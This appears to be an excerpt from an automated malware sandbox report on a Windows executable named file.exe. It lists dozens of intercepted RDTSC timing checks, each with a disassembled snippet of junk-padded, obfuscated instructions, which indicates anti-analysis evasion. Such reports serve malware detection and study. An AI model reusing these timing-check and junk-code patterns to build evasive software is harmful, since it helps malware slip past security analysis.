Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D44F3 second address: 5D44F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D49C3 second address: 5D49C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D44AE second address: 5D44B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615093 second address: 615097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615097 second address: 6150A1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4D8F45596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615273 second address: 615292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4D8B12EC1h 0x0000000d jo 00007FD4D8B12EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615292 second address: 615296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615410 second address: 615414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61583E second address: 615843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615843 second address: 615856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FD4D8B12EB6h 0x00000009 jng 00007FD4D8B12EB6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B5A second address: 615B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007FD4D8F455A0h 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f jnc 00007FD4D8F45596h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615B7B second address: 615B80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DB31 second address: 61DB37 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61DB37 second address: 61DB3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E36E second address: 61E376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E7D1 second address: 61E7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E7D5 second address: 61E7E2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E956 second address: 61E98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FD4D8B12EBDh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 push eax 0x00000013 jmp 00007FD4D8B12EC5h 0x00000018 jc 00007FD4D8B12EB6h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E98D second address: 61E993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E993 second address: 61E997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E997 second address: 61E99B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6216AE second address: 6216CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FD4D8B12EC7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6216CB second address: 6216CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6211F0 second address: 6211F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6211F4 second address: 621207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007FD4D8F45596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621207 second address: 62120C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62120C second address: 621225 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4D8F4559Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007FD4D8F45596h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621225 second address: 62124D instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4D8B12EB6h 0x00000008 jmp 00007FD4D8B12EC4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007FD4D8B12EB6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6213BE second address: 6213C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623E4E second address: 623E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627C7D second address: 627C83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627DF0 second address: 627DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627DF6 second address: 627E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD4D8F45596h 0x0000000a jbe 00007FD4D8F45596h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627E07 second address: 627E2D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007FD4D8B12EB6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jbe 00007FD4D8B12EBCh 0x00000012 jl 00007FD4D8B12EB6h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebx 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e jno 00007FD4D8B12EB6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627FB2 second address: 627FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628220 second address: 628226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628226 second address: 628254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007FD4D8F455A6h 0x0000000c jmp 00007FD4D8F4559Dh 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628254 second address: 62825C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597C7D second address: 597C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8F4559Fh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597C96 second address: 597CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EC6h 0x00000009 popad 0x0000000a popad 0x0000000b je 00007FD4D8B12ED5h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C685 second address: 62C68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD4D8F45596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CAAE second address: 62CAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CAB4 second address: 62CADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4D8F4559Fh 0x0000000c jmp 00007FD4D8F455A1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC80 second address: 62CC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC84 second address: 62CC88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62CC88 second address: 62CCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4D8B12EC3h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D461F second address: 5D463A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4D8F455A1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D463A second address: 5D468A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FD4D8B12EB6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FD4D8B12EB8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 je 00007FD4D8B12EBCh 0x0000002d xor dword ptr [ebp+1244B5D0h], edx 0x00000033 mov dh, 6Bh 0x00000035 mov ebx, dword ptr [ebp+12478809h] 0x0000003b adc di, 3400h 0x00000040 or dword ptr [ebp+122D31A5h], edx 0x00000046 add eax, ebx 0x00000048 stc 0x00000049 push eax 0x0000004a pushad 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D468A second address: 5D46A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8F455A1h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D46A4 second address: 5D46CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, dword ptr [ebp+122D2C50h] 0x00000010 mov cl, A8h 0x00000012 push 00000004h 0x00000014 add dword ptr [ebp+122D1E92h], ebx 0x0000001a mov edx, dword ptr [ebp+122D2E80h] 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D46CA second address: 5D46CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D0FB second address: 62D101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631A9E second address: 631AA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631AA2 second address: 631AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD4D8B12EB8h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63126F second address: 631283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FD4D8F455A6h 0x0000000b pushad 0x0000000c jnp 00007FD4D8F45596h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639A93 second address: 639ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EC6h 0x00000009 popad 0x0000000a push edx 0x0000000b jno 00007FD4D8B12EB6h 0x00000011 je 00007FD4D8B12EB6h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD4D8B12EBCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639ACA second address: 639AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4D8F455A7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639AEC second address: 639AFA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639AFA second address: 639AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639AFE second address: 639B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639B02 second address: 639B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638086 second address: 6380BD instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4D8B12EB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD4D8B12EC6h 0x00000012 jmp 00007FD4D8B12EC2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6386CC second address: 6386D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638997 second address: 63899B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638C3B second address: 638C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FD4D8F45598h 0x0000000c jmp 00007FD4D8F4559Dh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FD4D8F4559Fh 0x0000001a jmp 00007FD4D8F4559Dh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639239 second address: 63925D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007FD4D8B12EBCh 0x0000000b popad 0x0000000c jnp 00007FD4D8B12ED2h 0x00000012 jno 00007FD4D8B12EB8h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63925D second address: 639261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639261 second address: 639267 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E3E1 second address: 63E3E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642C6D second address: 642C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EC2h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642C89 second address: 642C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642C8F second address: 642C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FD4D8B12EB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BA41 second address: 64BA45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C078 second address: 64C07E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C2FF second address: 64C320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4D8F45596h 0x0000000a jmp 00007FD4D8F4559Ah 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FD4D8F45596h 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C320 second address: 64C330 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C494 second address: 64C498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D5D7 second address: 64D5EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4D8B12EBDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D5EA second address: 64D5F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD4D8F45596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D5F4 second address: 64D633 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007FD4D8B12EC2h 0x00000013 je 00007FD4D8B12EB6h 0x00000019 jc 00007FD4D8B12EB6h 0x0000001f jmp 00007FD4D8B12EBFh 0x00000024 jns 00007FD4D8B12EBEh 0x0000002a push edi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B4CD second address: 64B4F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FD4D8F45596h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007FD4D8F45596h 0x00000015 jl 00007FD4D8F45596h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 js 00007FD4D8F455D4h 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65336A second address: 653370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653370 second address: 653376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653376 second address: 653387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FD4D8B12EBBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653387 second address: 6533BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FD4D8F455A9h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652CE7 second address: 652CEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652CEB second address: 652D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4D8F455A3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652E98 second address: 652E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6601F8 second address: 66023D instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4D8F45596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jbe 00007FD4D8F45596h 0x00000013 pop esi 0x00000014 jmp 00007FD4D8F455A6h 0x00000019 popad 0x0000001a jl 00007FD4D8F455B0h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 jno 00007FD4D8F45596h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jbe 00007FD4D8F45596h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FE07 second address: 65FE11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FE11 second address: 65FE1B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4D8F45596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65FE1B second address: 65FE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4D8B12EBAh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663CA1 second address: 663CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
